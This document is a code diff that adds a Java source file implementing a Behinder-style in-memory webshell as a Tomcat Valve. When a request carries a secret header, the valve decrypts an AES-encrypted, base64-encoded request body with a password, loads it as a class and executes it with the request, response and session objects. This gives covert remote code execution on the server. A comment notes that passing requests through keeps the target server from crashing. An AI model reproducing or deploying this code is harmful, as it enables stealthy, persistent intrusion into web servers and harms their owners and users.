1+ package jmg .behinder .memshell ;
2+
3+ import org .apache .catalina .Valve ;
4+ import org .apache .catalina .connector .Request ;
5+ import org .apache .catalina .connector .Response ;
6+
7+ import javax .crypto .Cipher ;
8+ import javax .crypto .spec .SecretKeySpec ;
9+ import javax .servlet .ServletException ;
10+ import javax .servlet .http .HttpSession ;
11+ import java .io .IOException ;
12+ import java .util .HashMap ;
13+ import java .util .Map ;
14+
15+
16+ public class BehinderValve extends ClassLoader implements Valve {
17+ protected Valve next ;
18+ protected boolean asyncSupported ;
19+
20+ public String pass ;
21+
22+ public String headerName ;
23+
24+ public String headerValue ;
25+
26+ public BehinderValve () {
27+ }
28+
29+ public BehinderValve (ClassLoader c ) {
30+ super (c );
31+ }
32+
33+ public Class g (byte [] b ) {
34+ return super .defineClass (b , 0 , b .length );
35+ }
36+
37+ @ Override
38+ public Valve getNext () {
39+ return this .next ;
40+ }
41+
42+ @ Override
43+ public void setNext (Valve valve ) {
44+ this .next = valve ;
45+ }
46+
47+ @ Override
48+ public boolean isAsyncSupported () {
49+ return this .asyncSupported ;
50+ }
51+
52+ @ Override
53+ public void backgroundProcess () {
54+ }
55+
56+ @ Override
57+ public void invoke (Request request , Response response ) throws IOException , ServletException {
58+ try {
59+ if (request .getHeader (headerName ).contains (headerValue )) {
60+ HttpSession session = (request .getSession ());
61+ Map obj = new HashMap ();
62+ obj .put ("request" , request );
63+ obj .put ("response" , response );
64+ obj .put ("session" , session );
65+ session .putValue ("u" , pass );
66+ Cipher c = Cipher .getInstance ("AES" );
67+ c .init (2 , new SecretKeySpec (pass .getBytes (), "AES" ));
68+ (new BehinderValve (this .getClass ().getClassLoader ())).g (c .doFinal (this .base64Decode (request .getReader ().readLine ()))).newInstance ().equals (obj );
69+ } else {
70+ // 重要: 没有这一步会将目标服务器打挂
71+ this .getNext ().invoke (request , response );
72+ }
73+ } catch (Exception e ) {
74+ this .getNext ().invoke (request , response );
75+ }
76+
77+ }
78+
79+ public byte [] base64Decode (String str ) throws Exception {
80+ try {
81+ Class clazz = Class .forName ("sun.misc.BASE64Decoder" );
82+ return (byte []) ((byte []) ((byte []) clazz .getMethod ("decodeBuffer" , String .class ).invoke (clazz .newInstance (), str )));
83+ } catch (Exception var5 ) {
84+ Class clazz = Class .forName ("java.util.Base64" );
85+ Object decoder = clazz .getMethod ("getDecoder" ).invoke ((Object ) null );
86+ return (byte []) ((byte []) ((byte []) decoder .getClass ().getMethod ("decode" , String .class ).invoke (decoder , str )));
87+ }
88+ }
89+ }
0 commit comments